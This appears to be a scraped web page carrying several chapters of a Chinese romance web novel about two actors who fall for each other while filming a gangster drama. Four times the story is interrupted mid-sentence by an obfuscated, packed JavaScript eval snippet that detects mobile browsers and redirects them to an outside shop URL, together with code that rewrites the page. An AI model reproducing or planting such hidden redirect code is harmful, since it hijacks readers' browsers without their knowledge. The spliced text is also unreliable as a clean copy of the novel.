万一宋屿拒绝了,怎么办? 或许宋屿只是在听杨临的话,在剧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010301|147834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拍期间,努力地假装爱上他而已。 一边是敬业,一边是怀揣私念,他贸然告白,没准会吓到宋屿。 印澄百般纠结,想着宋屿那么善解人意,见他半天不允,定会主动撤销提议。 谁知宋屿竟就跟他这么耗着,耐心等他回复。 半晌后,终究是印澄先扛不住,同意了。 宋屿露出笑意,轻抚印澄的背脊:“谢谢,我自己做这种事很没兴趣。” “那平时你都是怎么?”印澄没忍住,脱口而出。 “大多数情况下,是等着它平复。”宋屿很从容,“比如昨晚,大概等了半小时左右。” “半小时!”印澄吃惊,堪堪把“那么久”三个字咽回去。 “嗯,当时在忙其他事,没太注意。”宋屿屈指刮了下他的脸颊,似乎觉得他的反应很有趣。 这就难怪了。 昨晚没疏解,只靠忍,再拍的时候才会一点就着。 “都那么晚了,你回去还要忙啊。”印澄随口问着,其实心里想的不是这个。 原来昨晚,失控的不只有他。 宋屿真的好温柔,居然就那么走了。 “嗯,事情有点棘手。”宋屿眉微蹙,神情也变得严肃。 门忽然被敲响,来人是沈秋,看了印澄一眼,迟疑地说:“Soleil那边来电。” 印澄放下筷子,打算先走。 “没事,说吧。”宋屿贴在他后背的手微微用力,把人留下。 沈秋眼角抽搐,勉强维持住正常表情:“Soleil想请你参加一周后的游轮晚宴……据我所知,名单上也有印老师。” “我?”印澄不可置信。 Soleil是国外有名的奢饰品牌,举办任何活动,都没对他这种小糊咖抛出过橄榄枝。 如今这是怎么了? “对,”沈秋观察着宋屿的脸色,改变口风,“不过我听说这场晚宴鱼龙混杂,有一位叫彭献的也在其中。” 印澄顿时皱眉。 仿佛看见美味的巧克力蛋糕上落苍蝇,再好吃的甜点都变成了屎。 “您要是工作繁忙的话,也可以拒绝,我待会儿就帮您回掉。”沈秋微笑,等着他点头。 “阿澄,不必勉强自己,”宋屿的大手安抚地揉.搓着他,循循善诱,“未来有的是机会。” “唔……”印澄被弄得浑身轻飘飘的,更加不想和恶心的人碰面,“那就算了吧。” 沈秋暗松口气。 “真可惜,一周后我刚好没戏,”印澄惆怅,宋屿不在,他会变得很无聊,“哎,干脆去看电影好了。” “想看什么?”宋屿收回手,姿态放松。 “《拼图》,鲍丘导演的作品,”印澄想起和陆泽邑聊过的话,不自觉笑了笑。 宋屿望着他的笑顿住,忽然问:“你要和谁去?” “陆泽邑啊,就是和你介绍过的那个人,染银灰发的那个,长得很漂亮。”印澄提起他时眼睛很亮,兴致勃勃地帮宋屿回忆。 宋屿垂眸,将收拾过的餐盒,又收拾了一遍。 沈秋僵在门口,不敢走也不敢留。 “去吧,游轮晚宴,”半晌后,宋屿冷声道,“有我在,没事。” 35.初遇 印澄应邀游轮晚宴的事,就这么定下。 经纪人李鱼接到消息的速度比沈秋慢一点,打来电话时非常兴奋。 “澄澄啊,这可是你和宋屿首次合体参加活动!太好啦!” “你俩从这回开始,就算真正绑定了!” 李鱼关注的点更偏向于炒CP,聊到最后才对印澄受邀的事表示祝贺。 印澄对于经纪人的态度早已习惯,应和着聊上几句,总归还是开心的。 吃完饭,他留在宋屿的休息室睡了个午觉,直到临近开工才被叫醒。 他迷蒙地揉揉眼,对游轮的期待稍微褪去,仍旧专注于眼前的事。 晚宴定在一周后,他要先认真完成工作。 印澄换回上午拍胁迫罗伊戏份时的那套服装,调整好情绪,去找宋屿对词。 10分钟后,正式开拍。 安德烈的打手已被贝克悉数摆平,但夜店保安也闻风而至,将他团团围住。 塔根城势力划分明确,此店是格林家族的产业,有人闹事,手下人多半要先行制服,再报给管理层等候处理。 或杀或打,皆可自定。 在此之后,才轮到那些被腐蚀的执法者登场做收尾。 塔根城的黑暗如乌云遮日,正义的纽曼·西蒙斯警官未来将和贝克联手除恶,让法律不再成为犯罪分子的保护伞。 不过现阶段,格林家族仍旧掌管着普通市民的生杀大权。 而贝克对米契尔从骨子里生出的厌恶,也要维持很长一段时间。 面对不断迫近的新危机,宋屿尽管疲惫,却没有低头。 他挣扎着再次从地上爬起来,捡起根撬棍,凶狠地握在手中。 贝克或许打不赢更多的人,但第一个冲上前的,绝对会脑浆迸裂。 保安的数量有压倒性的优势,可面对这样不要命的疯子,饶是人再多,也有所忌惮。 几声枪上膛的响动清晰传来,保安们不再妄动,只用黑洞洞的枪.口对准他。 宋屿身体一僵,下意识屏住呼吸。 塔根城没有孤胆英雄的容身之地。 再厉害的拳头,也快不过子弹。 宋屿喉咙滚动,悄然规划逃跑路线。 为今之计,只有趁他们开枪前躲进吧台,才能拖延时间。 宋屿决定先发制人,刚要动身,却发现那些散发着死亡气息的枪.口全都上折,不再瞄准他。 人群传来骚动,保安们神色剧变,不约而同看向宋屿身后。 宋屿慢慢回头,只见印澄从地上拎起把没摔坏的高脚凳,抖落掉凳面的玻璃渣,悠然坐了上去。 那是位一打眼,就很看出身份尊贵的小少爷。 他身穿银色的金属质感上衣,由无数细小鳞片拼接而成,宛如披了条流动的银河,举手投足间,皆有光芒闪耀。 黑裤黑靴,偏靴底赤红,每次抬脚,都会让人不自觉地垂首,盯着那抹红看。 碎发黑眸,眼神玩味,耳环随着他偏头的动作轻微摇晃,将那张桀骜的脸衬出几分性感,更显迷人。 “为什么动手?”印澄勾手,让逃到远处的调酒师过来。 “他惹我。”宋屿声音很冷。 印澄饶有兴致地盯着他:“身手不错。” 宋屿沉默,揣测对方的用意。 调酒师慌慌张张赶回工位,见印澄打了个手势,即刻拿出两只干净的空杯,制作鸡尾酒。 “叫什么?”印澄又问。 “贝克·摩利。”宋屿回答,并未放下武器。 “贝克,”印澄重复着他的名字,笑了笑,“你得罪的是安德烈的人,现在有两种选择。” 两杯血腥玛丽制作完成,调酒师将酒推到印澄眼前,后退两步恭敬站好,嘴唇因恐惧而微微颤抖。 宋屿观察着周围人对印澄的态度,没吭声。 “一,我把你丢出去,十分钟后,你会被安德烈的人沉海。” 宋屿将撬棍捏得咯咯作响,摄像师适时给出特写。 “二,当我的保镖,以后,我可以让你揍在安德烈的脸上。” 人群里响起隐秘的私语,预示着第二种选择同样充满危险。 宋屿挑眉,藏住暗喜,尽量维持住阴沉的面色。 他和西蒙斯警官的计划,终于迎来了最为关键的进展。 先前种种铺垫,皆为这一刻。 “喝完这杯酒之前,给我答复。”印澄对他的心理活动一无所知。 他端起一杯酒,并未细品,仰头,一饮而尽。 这就是米契尔的耐心。 他的确对这个能打的愣头青感兴趣,但那丝好奇,仅有一点点。 “你……你……”被撂到在地的光头打手听到印澄的话,吐着血沫,对他怒目而视。 印澄未给那人眼神,从腰后拿出枪,命中眉心 宋屿走向印澄的步伐微滞,却没有停下。 他抬腿,迈过光头的尸体,走到吧台前,拿起另一杯酒。 扔掉撬棍,仰头就干。 番茄汁的酸甜混合浓烈的伏特加刺.激舌尖,带来种野性的味道。 这是今日他们的最后一场戏,道具组准备了真酒。 鲜红的液体顺着唇角流出,那些因灌得过猛而没来得及吞咽的残汁,缓慢滴落在起伏的胸膛。 如果是未来的米契尔,肯定不会放过这种美味。 但现在,他们只是在满地狼藉中对视,用陌生的目光打量彼此。 从此刻起,贝克便成了米契尔的私有物。 待命的保安们接到暗示,开始干活。 他们将枪口对准所有倒地者,不留活口,全部清除。 在阵阵枪声中,宋屿听到了米契尔的声音。 “米契尔·格林,”印澄骄傲开口,赐予他无上荣耀,“记住,这是你主人的名字。” * * * 印澄从未被宋屿用那般陌生的眼神看过。 回到酒店,他站在浴室里淋浴时,还在想这件事。 记得他们第一次说话是在电梯间。 当时宋屿的眼神就很温柔,尽管没聊几句,语气也和煦得很,犹如阵春风吹过,让他又痒又暖。 虽说是演戏,但突然被他那般对待,印澄还是心有余悸。 关掉水阀,印澄胡乱用毛巾擦头发,暗责自己毛病真是越来越多。 那是演戏。 演戏啊。 印澄叹口气,把脸埋在湿漉漉的毛巾里,有点沮丧。 他觉得自己现在的心理不太健康。 真希望前面那些戏能快点拍过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020366|147834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,让贝克早点爱上米契尔。 不切实际的想法。 剧中的两人还有许多曲折的路要走,他没法按快进键,只能煎熬着,一步一步来。 印澄拿出风筒,将半湿的头发彻底吹干。 好想宋屿。 想见他,哪怕什么都不说也行,就那样静静地看着他。 对了,宋屿说过,欢迎他随时发信息过去。 印澄撇下风筒,拿起手机,点开聊天界面,却不知道说些什么。 他反复将前面的记录看了几遍,像回味一本总也看不腻的小说,细品宋屿发给他的每一个字,心里尽是满足。 如果哪天戏拍完了,他和宋屿也分开了,就算靠着这些回忆,他也能活得很幸福吧…… 他心脏猛地一疼,像被只手狠狠捏了一下。 印澄愣住,从未感受过的实质性心痛让他动也不敢动。 好在,那种感觉很快过去,来无影去无踪,像从未发生过一样。 见鬼了。 印澄揉着胸口,不敢再瞎想,给宋屿发出个“探头”的表情包。 125秒后,宋屿有了回复。 【想吃宵夜吗?】 【我给你带回去】 宋屿下戏后没和印澄回酒店,忙其他工作去了。 他没说,印澄也就没细问。 【不啦】 【保持体重】 印澄笑着回复,拒绝了宋屿的好意。 他最近被宋屿喂得圆润不少,必须要控制一下。 只是随便聊了两句话,印澄立即浑身通畅,所有的不适感都一扫而空。 宋屿不是贝克。 印澄明天的戏份很少,大部分剧情都堆在宋屿那边。 贝克成为米契尔的贴身保镖后,面对巨额的薪资和截然不同的地位很震撼,他首次接触到了财富和特权。 但这种腐蚀尚且停留在表层,贝克仍能抵住诱惑,动手调查摩拉密医药公司的内情。 可惜他初来乍到,没能弄懂重要文件的藏匿地点,折腾半天扑了个空不说,还差点被发现。 最糟糕的是,他因此耽误替米契尔办差。 米契尔勃然大怒,从那后便开始刁难贝克,以此为乐。 简而言之,印澄要开始拉仇恨了。 不过反派的戏份他以前就有所涉猎,这次也算驾轻就熟,难度不大。 但…… 还是多琢磨琢磨吧。 见宋屿没再回复,印澄丢开手机,掏出快翻烂了的剧本,再次研读。 用功期间,敖乐盐发来消息,告诉他KK的那个项目,已经陆陆续续官宣了所有男配。 如今电视剧超话和CP超话皆建立成功,和其他剧不一样,《迷情》的CP没单独掰开,而是捏在了一起。 KK被粉丝称为“小王子”,八名男配为和“骑士团”区分开,经过热烈讨论被统称成“恶龙”,CP超话就叫“龙王”,里面各家的人都有,热闹非凡。 印澄边听边忘,大脑只能留住剧本的相关信息。 也不知读了多久,印澄的房门被敲响。 透过猫眼,他看见宋屿提着袋子,站在门外。 “宵夜派送,”宋屿拎高手里的东西,隔门接受审阅,“牛油果沙拉,可以进去吗?” 36.按摩 印澄吃了一惊,忙开门让他进来。 “屿哥,这么晚,你怎么还……”印澄慌慌张张把餐桌上的剧本和笔收拾走。 宋屿放好餐盒,打开盖子和他坐在一起:“吃健康餐没关系,你体型很标准,不用控制。” “是吗?”印澄挠挠头,害羞地摸了摸肚子。 其实他身上有层薄肌,并未真的发胖,可自打进组他就没怎么运动过。 虽然有点饿,但好歹是演员,总吃那么多,心里难免不安。 宋屿带的标准餐量,印澄瞄了眼客厅挂钟,发现已经22点了。 嘶,不管再怎么健康,这个时间也…… “一人一半。”宋屿从餐袋里拿出两根勺,递给印澄后,率先吃一口。 “哦,好。”印澄接过勺子,在他的注视下浅尝,很快露出满意的笑,“好吃!” 宋屿弯起眉眼。 “在看剧本?” “嗯,温习下明天的戏。” “你台词已经背熟了,为什么还看到这么晚?” “……就随便看看。” 印澄用勺子搅弄沙拉,含糊其辞。 宋屿察觉到他神色不对:“哪里不顺?我帮你捋捋。” “也没什么,就是……”印澄别扭半天,终究还是吐了实话,“怕你以后讨厌我。” “嗯?”宋屿很意外。 “后面的戏,很多都是米契尔折腾贝克的,我……屿哥,你不能因为这个讨厌我!”印澄忽然激动。 啊,说出来了。 宋屿垂下眼眸,慢慢笑出声。 印澄被他笑得耳朵发热,忽然觉得刚才的话很傻。 但他还是想听宋屿说“不会”。 笑就笑吧,他豁出去了! “怎么会?”宋屿忍不住捏他的脸颊,感受指腹滑.腻的触感,“我分得清戏和现实。” 印澄微仰着脸,任他揉捏,心里被填得满满的,尽是幸福。 “吃吧,”宋屿的手移到他后.颈,不轻不重地按摩.着,“别乱想。” 印澄被按得头皮发.麻,那只手仿佛有无穷魔力,让他血.脉畅通,从后面一直酥到发根。 好舒.服。 印澄贪.恋地往后仰了仰,想让那种感觉延续下去。 宋屿见状,加重手上力道:“伏案太久,这里就会酸,以后要注意休息。” 印澄微眯着眼,哼了声权当听见。 宋屿眸光一暗,目光紧黏他的唇,不断变化力道,让那里哼出更多美妙的声音。 “喜欢这里?” “还是这里?” “这样舒.服吗?” “够了够了……唔,真够了!”印澄轻.喘,推开他的手,脑袋晕乎乎的。 他从来没体验过这种感觉,原来这么棒! 看来以后工作累了,真得找个按摩店放松一下…… “颈椎神经复杂,胡乱按甚至容易瘫痪,”看出印澄的意图,宋屿语气骤冷,“以后难受我来帮你,不要去找别人。” “唔?嗯。”印澄被他的严肃吓到,乖乖应了。 居然有那么大风险啊。 可是,宋屿手法再好,也不能总找他做啊。 真的不能找别人么? “不可以。”宋屿板着脸。 印澄一惊,差点以为宋屿会读心术,再不敢瞎想。 “咳,你工作忙完了吗?”印澄扯开话题。 宋屿往他的勺子里舀块牛油果:“还在接触中,谈的是新剧。” “这么快!”印澄诧异。 不愧是顶流,项目一个接着一个,《欲都》还没拍到一半,就有人预定下一部戏了! 宋屿笑笑,随口问他之后的工作计划。 印澄还没想好。 他的确也接到过几个本子,但剧情都不尽人意。 “我这里有些项目,发给你,看看有没有兴趣。”宋屿拿出手机翻找。 他吃得很少,更像是陪餐。 “不用麻烦,我以后慢慢……”印澄还没客气完,眨眼间就收到七八个邮件。 效率好高。 宋屿这是在,给他资源…… 印澄吃不下去了,鼻头隐约发酸。 “屿哥,你对我真好。”印澄喃喃道。 他不知道这种好该怎样报答,现如今只能承接。 太胀,也太满。 他真怕自己有一天会被惯坏,认为这一切都是理所当然。 宋屿对他的照顾几乎精细到发丝,他实在受之有愧。 “没什么,”宋屿轻笑,踌躇片刻,又发给他一个邮件。 “时间不早了,早点睡。”他起身,动手收拾餐盒。 “不用不用,还没吃完呢,我来就行。”印澄连忙扯住他的手。 送外卖加倒垃圾,他脸皮真没那么厚啊! 宋屿走后,印澄简单浏览下文件,发现制作阵容都很优良,基本都是他现在接触不到的层次。 类型丰富,各种风格的都有,喜剧、悲剧,还有创业题材和成长类的。 单看简介,还是宋屿最后发来的那部电影更吸引他。 片名叫《重来》,男主人公是个怨天尤人的人渣,因为身患绝症、女友出轨、老板压榨等糟心事,决定纵火烧掉公司楼,报复社会。 决定动手那天,男主却在行凶的路上意外死亡,穿回到当天早上。 此后,男主不断轮回,一直以各种稀奇古怪的死法死在动手前,并被迫重启那一天。 男主倍感崩溃,哪怕是决定放弃行凶,死亡依然如约而至。 直到偶然间,他发现女友并未出轨,所有的可疑举止,都是自己的胡思乱想。 与女友重修于好后,男主死亡的时间,被推迟了一小时。 男主寻到规律,开始主动寻找生活中因自身的坏脾气而存在的误解,发现魔鬼上司其实偷偷替他垫过医药费,自身的病情也正在好转。 最后男主认识到不能被坏脾气操控人生,达成合家欢剧情,也解除了死亡循环的诅咒。 不过临近结局时,大家外出参加篝火晚会,男主喝醉,恍惚间却看见所有人都在火里,包括他自己。 男主的经历到底是真实的,还是他纵火后弥留之际的一场幻觉,则作为开放式结局,留给观众讨论。 印澄觉得这部戏很有挑战性,和以往演过的类型都不一样。 他查看开拍时间,发现距离现在还有好几个月,行程上也合适。 就是不知道能不能谈成。 宋屿大抵会帮他牵线,导演那边,肯定还得亲自去碰才行。 手机震动,印澄点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14032947|147834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开看,发现微博那边有人@。 原来是陆泽邑。 他上传片场两人的合照,还加了个闪闪亮的滤镜,看得印澄想笑。 【首日开工,摘到一颗甜橙[笑][笑]】 好肉麻的配文。 印澄拿他没办法,在评论区回复个[比耶]。 甜橙。 小橙子们都没这么叫过他。 陆泽邑热度不高,和印澄的互动只挂在热搜低位,几分钟后就消失不见了。 倒是评论区有一些粉丝聚集,充当气氛组。 “哇!两个大帅哥坐在一起好养眼啊!” “好帅好帅!这张照片对我的眼睛很友好!” “这么快就交到新朋友啦!拜托陆老师照顾我们澄宝啦!” “友谊长存!” “嘶~顶锅盖说一句,他们俩看上去也好配啊。” “这是可以说的吗?” “楼上的够了!别乱拉郎行吗?祝二位老师友谊长存!” 印澄没怎么翻评论区,关掉手机,准备睡觉。 网友向来爱拉CP,但大多数只是口嗨一句而已,连剪辑和超话都懒得弄。 还挺常见的。 * * * 印澄两眼喷火,一脚踩在宋屿头顶,狠狠碾动。 宋屿跪倒在地,膝盖被保镖们强行压弯,摆出臣服的姿势。 镜头推进,推进,再推进,将贝克的愤怒与屈辱无限扩大。 “Cut!” 印澄连忙抬脚,和群演一起把宋屿拉起来。 鞋子是新换的,鞋底很干净,没有留下任何泥污。 但印澄踩得用力,就这么会儿,宋屿英俊的脸已然被印出痕迹。 “没事吧?疼不疼?”印澄捧着他脑袋仔细检查,仿佛看见无数小羽毛在身后磨刀霍霍。 天呐,都踩红了! 他该收着点劲儿的! “没事,”宋屿用手背蹭蹭脸,忽然笑了下,“我喜欢你刚才那样。” 印澄怀疑自己听错了。 什么叫,喜欢? 嗯?? 喜欢被他踩脸? 喜欢被他凌.辱? 男神,你不要总是这么语出惊人可以嘛! 难道拍这种戏,还把宋屿的隐藏性.趣给激发出来了?! “你以后可以再用力一点,”宋屿盯着他的脚,轻声道。 印澄:“……” 行吧,那他以后就放开手了。 明天拍摄地点是酒会,一场凌.辱,一场吻戏。 上午拍米契尔逼迫贝克搭香槟塔,而后故意弄翻酒塔,让贝克变成落汤鸡,被众人嘲笑。 下午,则是两人的热恋阶段,米契尔会拉着贝克避开觥筹交错的客人们,躲在窗帘后偷吻。 这是杨临精心设计的,同样的场景,不同的感情进度,更能体现出强烈的反差感,增加戏剧性。 后面接连三天,都是类似安排。 印澄倒是不愁频繁的感情切换,他只纠结和宋屿的约定。 又要拍吻戏了。 那他们明天早晨,是不是该……提前准备? 当晚,印澄满脸通红,发信息跟宋屿定下时间。 对面回复很快。 【六点,我会过去。】 37.早安 印澄临睡前定好5点的闹钟,但他4点就醒了。 躺着干瞪眼也无济于事,他索性起来收拾屋子,洗过澡后,纠结该穿哪套衣服。 他把衣柜拽得半空,将几套衣服呈大字形摊开挨个比量。 折腾到一半,他忽然觉得不该这么刻意。 毕竟时间太早,很容易被看出是精心准备过的。 印澄捂住脸,努力给面部降温。 差点又在宋屿面前丢人了。 真是。 5点30分,印澄选好一套深蓝色的睡衣穿上,坐在客厅里,静听外面的动静。 他捏着肥肥鲨抱枕,想做点什么分神,却发现自己什么都做不下去,两眼只能盯着挂钟的秒针,一圈圈地转。 时间逐渐迫近,印澄不自觉地开始紧张,居然在祈祷秒针能走得慢一点。 临阵退缩,他对自己很无语。 仔细想想,他们前两次都是突发状况,说来就来,从没像现在这样提前约定好。 5点50分,外面还是静悄悄的,半点动静都没有。 印澄喘.出口气。 宋屿可能不会按时来。 6点太早,没准宋屿只是说了个大概的时间,也许现在都还没醒。 毕竟不是多重要的事。 印澄提溜起肥肥鲨的尾巴,拎着他满屋乱逛,权当散步。 他起得也没多早。 锻炼身体嘛。 他平时就爱早起,就这习惯。 6点到,无事发生。 印澄把肥肥鲨丢回床,决定给自己弄点早餐。 他真的起太早了,昨晚那两口健康宵夜根本不顶事。 好饿。 他好饿啊。 6点01分,印澄听见隔壁房门打开的声音。 他手忙脚乱地把还没吃的面包塞回冰箱,傻站在客厅里,听宋屿的脚步声越来越近。 “笃笃。” 门被轻轻敲响。 印澄没动,总觉得立刻跑过去开门,不太好。 他没一直等。 只是醒得早,顺带着等等。 外面很安静,没有再次敲门。 印澄扛了3秒,扛不住了。 房门吱呀打开,宋屿身穿深灰色的浴袍,带来阵浴后的清香。 印澄让进两步,被那香气弄得飘飘然。 原来宋屿也沐浴过。 难道,他跟自己一样,早就醒了? 宋屿反手关上门,低头吻住印澄,直奔主题。 印澄吓了一跳,本以为见面后怎样也要寒暄几句,没想到他居然这么直接。 “进、进去吧,这里……外面能听到。”印澄气.息不稳,生怕走廊里会有人路过。 这酒店的隔音效果他早已领教,更何况他们就站在玄关。 宋屿动作很急,忽然将他按在门上。 “没事,”他含.住印澄的耳环,呢.喃道,“住18层的,只有我们。” 印澄咬.着唇,努力跟上宋屿的节奏。 难怪,住进来这么久,他从没见过其他邻居,连酒店的工作人员,都只在他离开时才进来打扫。 可即便知道,他仍竭力克.制着,不想发出那种声音。 直到宋屿用拇指抵.开他的牙齿,所有忍.耐才功亏一篑。 眼前豁然一片空白。 印澄思维陷入凝滞,站都站不稳,踉跄着栽进宋屿怀.里。 “早安。”宋屿安.抚地吮.吻他的唇,嗓音低沉。 “早……”印澄有气无力,吐出个简短的字。 临走时,宋屿又恢复成平时文质彬彬的模样,温柔嘱咐他下次只穿浴袍就可以。 能省去很多事。 说是麻烦,其实也才耽搁了一两秒。 印澄倒回被窝,想把缺失的觉补全。 抱着肥肥鲨,满.足后那种缓慢弥.漫出的空.虚感,也得到了缓.解。 印澄不知道自己这是怎么了。 如此频繁,按理说应该很知足才对。 可他就是觉得,哪里空空的,有点难受。 宋屿走的也太快了,来去如风,只停留在玄关,连客厅都没进。 亏他还收拾屋子来着。 不过,宋屿做那种事的时候,是这么急的人么? 印澄已经很努力地在帮他了,弄到最后手腕都开始发酸,他才出来。 睡意有点,却不足以入梦。 他眯起眼看手机上的时间,想估计下还能躺多久。 6点40了。 印澄腾地坐起身,不可置信地反复确认。 40分钟? 宋屿居然累了他40分钟! 怪不得他瘫着动都不想动!居然有那么久! 印澄用枕头捂住自己的脑袋,COS尸体。 这样不行吧。 剧本上的吻.戏可不是两只手能数得过来的。 再这样下去,他这个扮演者得走在米契尔前头。 宋屿好恐怖。 方方面面,都很恐怖。 * * * 宋屿穿黑西装的样子很迷人。 他表情冷漠,站在折叠梯上摆香槟塔。 宴会两小时候后开,布置酒桌本不该是保镖的任务。 可这是米契尔的命令,贝克只能照做。 宋屿浑.身湿淋淋的,沾染了不少酒水,裁剪得当的西服紧.贴身体,完美勾勒出他的健壮体魄。 地上碎片很多,却无人清扫。 印澄坐在旁边,悠然欣赏着宋屿专注的样子,显然留意到了对方绝佳的身材。 眼看最后一只杯即将摆放完毕,印澄朝旁边使了个眼色。 几名侍者心领神会,举着装食物的托盘朝那边走。 宋屿察觉到那些人的靠近,却并未阻止,佯装不知。 果然,在他成功之前,折叠梯被再次撞倒。 他摔在香槟塔上,壮观的酒堆眨眼间轰塌成一文不值的碎片,随他一起滚落下桌。 印澄发出阵恶劣的爆笑,在这个狼狈的男人身.上,得到极.大的愉.悦。 “笨蛋。”印澄甩出两个字,仍未打算放过他,“怎么,这就不行了?” 宋屿闭上眼,没立刻起身,趴.伏良久才装作无.力地重新站起。 他低垂着头,避开印澄的视线,态度不再桀骜,却也不开口求饶。 上次行动险些暴.露,西蒙斯警官对他的表现很不满,再三叮嘱他一定要先取得米契尔的信任,拿到摩拉密公司内的高级权限。 否则,一切计划都会变成纸上谈兵。 贝克被西蒙斯警官彻夜劝导,终于保证自己会压住火向米契尔示弱,让对方尽快消气。 但在讨论计划时,贝克否定了“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14037757|147834||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 卑躬屈膝”这条路。 接近米契尔之前,他曾详细调查过这位脾气乖戾的小少爷,发现米契尔很讨厌属下拍马屁。 态度越是谦卑,他就越厌恶,这点从所有保镖的处境就能看出来。 想让米契尔另眼相待,或许要另辟蹊径。 西蒙斯对贝克的提议很悲观,怕他掌握不好分寸,落得个死无全尸的下场。 但贝克想赌。 他相信自己的直觉。 一个忠诚,却又不巧言令色的保镖,或许才是米契尔真正想要的。 印澄勾勾手指,示意宋屿靠近。 宋屿眉眼微动,依令行事。 他走到印澄近前停下,等待下一步指示。 场助在旁边念出贝克的内心独白,宋屿做出相对应的微表情,镜头给面部特写。 后期,这段会由宋屿亲自配音。 “香槟塔已经搭了三次,这疯子大概是消气了。”旁白念得投入,尽量模仿贝克的情绪。 宋屿个头高挑,站在坐着的印澄面前,衬得两人的体型差尤为明显。 印澄让他弯腰靠近,似乎有话要说。 宋屿不明就里,正等着他的新吩咐,头顶忽然被浇下一杯酒。 印澄倒得均匀,像是在浇花,确保宋屿脑袋上的最后一片干.爽,也变得黏.潮。 末了,他将酒杯扣在宋屿头顶,嗤笑道:“开心吗?” 宋屿抿紧唇,默不作声。 酒杯扣得很稳,他仍弯着腰。 “你这个人,真的很奇怪,”印澄用尾指撩开他挡在眼前的湿发,直视他的眼睛,“明明是条狼,非要装成狗。” 宋屿未有反应。 “看看这双眼睛,又狠又毒,真吓人,”印澄虽是那样说,却半点都不害怕,反而靠得更近,“贝克,你想杀我?” 宋屿瞳孔扩大,被这突兀的一句话震惊。 “我猜,你是个杀手?” “谁派来的?” “格林家族的仇家可不少,故意接近我的人也很多,不过像你这种连杀气都藏不住的笨蛋,的确罕见。” “或许,你潜伏到我身边,是有私仇?” “看你像匹孤狼,莫非是独自行动的?” “嗯?贝克,我猜对几条?” 宋屿紧绷着脸,仿佛被美杜莎的眼睛诅咒成了石头。 在贝克和西蒙斯警官的设想里,米契尔的危险只来源于其捉摸不定的性格。 没想到才刚接触,就被看出了端倪。 “不说啊……”印澄装作苦恼的样子叹出口气,从摇头摸出那把随身携带的枪。 像拿出车钥匙一样寻常。 宋屿头顶的酒杯摇晃,几乎快要摔落。 这个距离,足够他夺枪完成反杀。 宋屿眸光明灭,浑.身紧.绷,终究还是忍住没动。 他能杀死米契尔,周围那些保镖也不会放过他。 此番失败,弗纳尔·格林以后定会提高警惕,将摩拉密医药公司弄得固若金汤,西蒙斯警官恐怕再没机会派人潜入调查。 权衡过利弊,宋屿彻底放弃反抗,准备接受自己的命运。 印澄的枪.口没对准宋屿。 他打开枪匣,让宋屿亲眼确认过满满的子弹后,将枪装好,笑着递了过去。 “机会难得啊,贝克。” “试试?” 38.酒会 宋屿沉默片刻,伸手接过。 四周保镖在他接枪的那一刻瞬间警惕,皆拔出各自的枪提防不测。 印澄含笑打量宋屿,抬手止住其余人。 旁白:这是把假枪。 米契尔的态度,让贝克如此推测。 宋屿打开枪的保险栓,反手将东西递还给印澄。 “我的命是您的,少爷。”他的声音毫无感情,冰冷如机械。 “不要?”印澄发出阵意义不明的笑。 宋屿眉头越蹙越紧。 印澄举起枪,扣下扳机。 宋屿头顶的酒杯应声碎裂。 摄像师扛着镜头左右摇晃,代表贝克内心世界的震荡,后期还会配耳鸣的嗡嗡声,让这一幕更有真实感。 “我给过你机会了。”印澄单指勾转着枪,无奈地耸耸肩。 “继续你的工作吧,贝克,半小时之内,我要看见一座新的香槟塔。” * * * 下午开工,是另一场戏。 场景仍是这场酒会,不过这时米契尔和贝克做.过后感情持续升温,但贝克仍努力维持着不在意对方的假象。 与其相比,米契尔要坦率得多。 所以这场戏拍的时候,印澄一边和其他人应酬,一边悄悄跟身边的宋屿眉来眼去。 一天之内两种情绪,还反差这么大,印澄都觉得自己要精分了。 这场酒会邀请的都是豪门贵族的年轻男女,意在推动有意向的家族联姻。 米契尔取向为男,对结婚向来没兴趣,其父弗纳尔·格林在换心手术成功前,也就随他胡闹去了。 毕竟这个小儿子,是弗纳尔·格林的备份计划。 